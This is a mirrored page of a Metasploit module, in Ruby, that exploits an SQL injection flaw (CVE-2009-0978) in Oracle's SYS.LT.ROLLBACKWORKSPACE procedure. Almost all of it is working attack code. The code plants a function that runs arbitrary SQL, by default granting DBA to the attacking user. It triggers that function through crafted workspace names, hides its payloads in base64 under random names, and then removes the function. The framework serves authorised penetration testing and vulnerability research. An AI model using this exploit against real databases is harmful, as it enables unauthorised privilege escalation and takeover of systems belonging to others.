CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::ORACLE
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE',
12
'Description' => %q{
13
This module exploits a sql injection flaw in the ROLLBACKWORKSPACE
14
procedure of the PL/SQL package SYS.LT. Any user with execute
15
privilege on the vulnerable package can exploit this vulnerability.
16
},
17
'Author' => [ 'MC' ],
18
'License' => MSF_LICENSE,
19
'References' =>
20
[
21
[ 'CVE', '2009-0978' ],
22
[ 'OSVDB', '53734'],
23
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html' ],
24
],
25
'DisclosureDate' => '2009-05-04'))
26
27
register_options(
28
[
29
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
30
])
31
end
32
33
def run
34
return if not check_dependencies
35
36
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
37
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
38
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
39
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
40
cruft = Rex::Text.rand_text_alpha_upper(rand(5) + 1)
41
42
function = "
43
CREATE OR REPLACE FUNCTION #{cruft}
44
RETURN VARCHAR2 AUTHID CURRENT_USER
45
AS
46
PRAGMA AUTONOMOUS_TRANSACTION;
47
BEGIN
48
EXECUTE IMMEDIATE '#{datastore['SQL']}';
49
COMMIT;
50
RETURN '#{cruft}';
51
END;"
52
53
package1 = %Q|
54
BEGIN
55
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
56
END;
57
|
58
59
package2 = %Q|
60
BEGIN
61
SYS.LT.ROLLBACKWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
62
END;
63
|
64
65
uno = Rex::Text.encode_base64(function)
66
dos = Rex::Text.encode_base64(package1)
67
tres = Rex::Text.encode_base64(package2)
68
69
sql = %Q|
70
DECLARE
71
#{rand1} VARCHAR2(32767);
72
#{rand2} VARCHAR2(32767);
73
#{rand3} VARCHAR2(32767);
74
BEGIN
75
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
76
EXECUTE IMMEDIATE #{rand1};
77
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
78
EXECUTE IMMEDIATE #{rand2};
79
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
80
EXECUTE IMMEDIATE #{rand3};
81
END;
82
|
83
84
clean = "DROP FUNCTION #{cruft}"
85
86
print_status("Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...")
87
prepare_exec(sql)
88
print_status("Removing function '#{cruft}'...")
89
prepare_exec(clean)
90
end
91
end
92
93